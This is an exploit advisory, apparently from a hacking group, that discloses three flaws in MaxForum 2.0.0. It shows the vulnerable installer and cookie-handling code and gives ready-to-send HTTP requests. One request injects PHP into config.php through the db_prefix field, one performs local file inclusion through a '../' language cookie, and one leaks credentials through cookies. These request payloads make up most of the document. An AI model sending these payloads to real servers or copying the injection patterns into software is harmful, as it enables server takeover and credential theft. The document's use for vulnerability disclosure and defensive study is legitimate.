# Exploit Title : MaxForum 2.0.0 Multiple Vulnerabilities # Date : 9 June 2013 # Exploit Author : CWH Underground # Site : www.2600.in.th # Vendor Homepage : http://sourceforge.net/projects/maxforum/ # Software Link : jaist.dl.sourceforge.net/project/maxforum/2.0.0/Max_v2.0.0.zip # Version : 2.0.0 # Tested on : Window and Linux ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' #################################### VULNERABILITY: PHP CODE INJECTION #################################### /install/install.php (LINE: 1642-1685) ----------------------------------------------------------------------------- LINE 1672-1676: $mysql_host = "' . $_POST['mysql_host'] . '"; $mysql_login = "' . $_POST['mysql_login'] . '"; $mysql_pass = "' . strip_slashes($_POST['mysql_pass']) . '"; $mysql_database = "' . $_POST['mysql_database'] . '"; $db_prefix = "' . $_POST['db_prefix'] . '"; ----------------------------------------------------------------------------- ##################################################### DESCRIPTION for PHP Code Injection ##################################################### An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability. User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file. An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server. This CMS allow attacker to insert PHP code into config.php with "max_";phpinfo();//" /includes/config.php ----------------------------------------------------------------------------- LINE 29-33: $mysql_host = "localhost"; $mysql_login = "root"; $mysql_pass = "toor"; $mysql_database = "max"; $db_prefix = "max_";phpinfo();//"; ----------------------------------------------------------------------------- ##################################################### EXPLOIT ##################################################### POST /Max/install/install.php?step=4 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/Max/install/install.php?step=3 Cookie: exp_lang=en; language=english; max_name=admin; max_password=2d6df19ab196f1c344310e0021239a06; lang=en_US; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 179 mysql_host=localhost&mysql_login=root&mysql_pass=toor&mysql_database=max&db_prefix=max_%22%3Bphpinfo%28%29%3B%2F%2F&site_address=http%3A%2F%2Flocalhost%2FMax%2F&step=4&prev_step=3 ############################################### VULNERABILITY: Local File Inclusion via Cookie ############################################### /install/index.php (LINE: 5-10) ----------------------------------------------------------------------------- LINE 5-10: $language = $_COOKIE['language']; $exp_lang = $_COOKIE['exp_lang']; if (file_exists("language/".$language."_".$exp_lang."/".$language.".php")){ @include("language/".$language."_".$exp_lang."/".$language.".php"); ----------------------------------------------------------------------------- ##################################################### EXPLOIT ##################################################### GET /Max/install/ HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: language=../../phpinfo; lang=en_US; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97 Connection: keep-alive ########################################### VULNERABILITY: Credentials Leak via Cookie ########################################### POC: GET /Max/index.php?forum=2 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: max_name=admin; max_password=dfbb72b7a33b97abda905a4af7e6c7f5; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97; lang= Connection: keep-alive ################################################################################################################ Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 ################################################################################################################